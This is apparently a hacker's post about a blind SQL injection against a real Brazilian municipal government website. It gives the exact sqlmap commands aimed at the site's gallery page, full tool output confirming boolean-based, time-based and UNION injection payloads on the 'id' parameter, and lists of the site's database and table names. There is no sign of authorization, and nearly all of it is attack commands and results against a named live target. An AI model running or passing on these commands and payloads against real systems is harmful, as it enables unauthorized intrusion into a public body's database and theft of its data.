Brazil Floriano Municipality Blind SQL Injection python3 sqlmap.py -u https://www.floriano.pi.gov.br/galeria.php?id=5 --dbs --batch -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ___ __H__ ___ ___[)]_____ ___ ___ {1.5.4.6#dev} |_ -| . [.] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 20:21:59 /2021-04-11/ [20:22:00] [INFO] testing connection to the target URL [20:22:01] [INFO] checking if the target is protected by some kind of WAF/IPS [20:22:02] [INFO] testing if the target URL content is stable [20:22:02] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [20:22:02] [INFO] testing if GET parameter 'id' is dynamic [20:22:03] [INFO] GET parameter 'id' appears to be dynamic [20:22:06] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable [20:22:06] [INFO] testing for SQL injection on GET parameter 'id' [20:22:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:22:13] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [20:22:24] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [20:22:24] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [20:22:25] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [20:22:25] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [20:22:26] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [20:22:27] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' [20:22:27] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)' [20:22:28] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [20:22:28] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [20:22:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [20:22:29] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [20:22:30] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [20:22:30] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [20:22:31] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [20:22:31] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [20:22:32] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [20:22:32] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)' [20:22:33] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)' [20:22:34] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)' [20:22:35] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)' [20:22:35] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)' [20:22:35] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)' [20:22:35] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)' [20:22:35] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [20:22:35] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)' [20:22:35] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)' [20:22:35] [INFO] testing 'Generic inline queries' [20:22:35] [INFO] testing 'MySQL inline queries' [20:22:36] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [20:22:36] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [20:22:37] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [20:22:37] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [20:22:38] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [20:22:38] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [20:22:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [20:23:01] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [20:23:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [20:23:01] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [20:23:02] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [20:23:05] [INFO] target URL appears to have 4 columns in query [20:23:06] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=5' AND 5275=5275 AND 'qJqH'='qJqH Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=5' AND (SELECT 6264 FROM (SELECT(SLEEP(5)))LcXq) AND 'ZTAH'='ZTAH Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: id=5' UNION ALL SELECT NULL,NULL,CONCAT(0x7176707671,0x57695353574a717148625179614c4649646b53487171435070477143436f796551535161584f526d,0x71626b6b71),NULL-- - --- [20:23:07] [INFO] the back-end DBMS is MySQL web application technology: Apache, PHP 5.4.45 back-end DBMS: MySQL >= 5.0.12 [20:23:10] [INFO] fetching database names available databases [2]: [*] floriano_site [*] information_schema [20:23:11] [INFO] fetched data logged to text files under '/home/anonymousofficallanonim/.local/share/sqlmap/output/www.floriano.pi.gov.br' [*] ending @ 20:23:11 /2021-04-11 --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- python3 sqlmap.py -u https://www.floriano.pi.gov.br/galeria.php?id=5 --tables information_schema ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [59 tables] +---------------------------------------+ | CHARACTER_SETS | | COLLATIONS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLUMNS | | COLUMN_PRIVILEGES | | ENGINES | | EVENTS | | FILES | | GLOBAL_STATUS | | GLOBAL_VARIABLES | | INNODB_BUFFER_PAGE | | INNODB_BUFFER_PAGE_LRU | | INNODB_BUFFER_POOL_STATS | | INNODB_CMP | | INNODB_CMPMEM | | INNODB_CMPMEM_RESET | | INNODB_CMP_PER_INDEX | | INNODB_CMP_PER_INDEX_RESET | | INNODB_CMP_RESET | | INNODB_FT_BEING_DELETED | | INNODB_FT_CONFIG | | INNODB_FT_DEFAULT_STOPWORD | | INNODB_FT_DELETED | | INNODB_FT_INDEX_CACHE | | INNODB_FT_INDEX_TABLE | | INNODB_LOCKS | | INNODB_LOCK_WAITS | | INNODB_METRICS | | INNODB_SYS_COLUMNS | | INNODB_SYS_DATAFILES | | INNODB_SYS_FIELDS | | INNODB_SYS_FOREIGN | | INNODB_SYS_FOREIGN_COLS | | INNODB_SYS_INDEXES | | INNODB_SYS_TABLES | | INNODB_SYS_TABLESPACES | | INNODB_SYS_TABLESTATS | | INNODB_TRX | | KEY_COLUMN_USAGE | | OPTIMIZER_TRACE | | PARAMETERS | | PARTITIONS | | PLUGINS | | PROCESSLIST | | PROFILING | | REFERENTIAL_CONSTRAINTS | | ROUTINES | | SCHEMATA | | SCHEMA_PRIVILEGES | | SESSION_STATUS | | SESSION_VARIABLES | | STATISTICS | | TABLES | | TABLESPACES | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+ Database: floriano_site [14 tables] +---------------------------------------+ | acessos | | album | | albumimagem | | conteudo | | conteudoimagem | | download | | downloadarquivo | | imagem | | noticia | | noticiaimagem | | tipo_conteudo | | tipo_download | | tipo_noticia | | video | +---------------------------------------+ -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- By S27anonym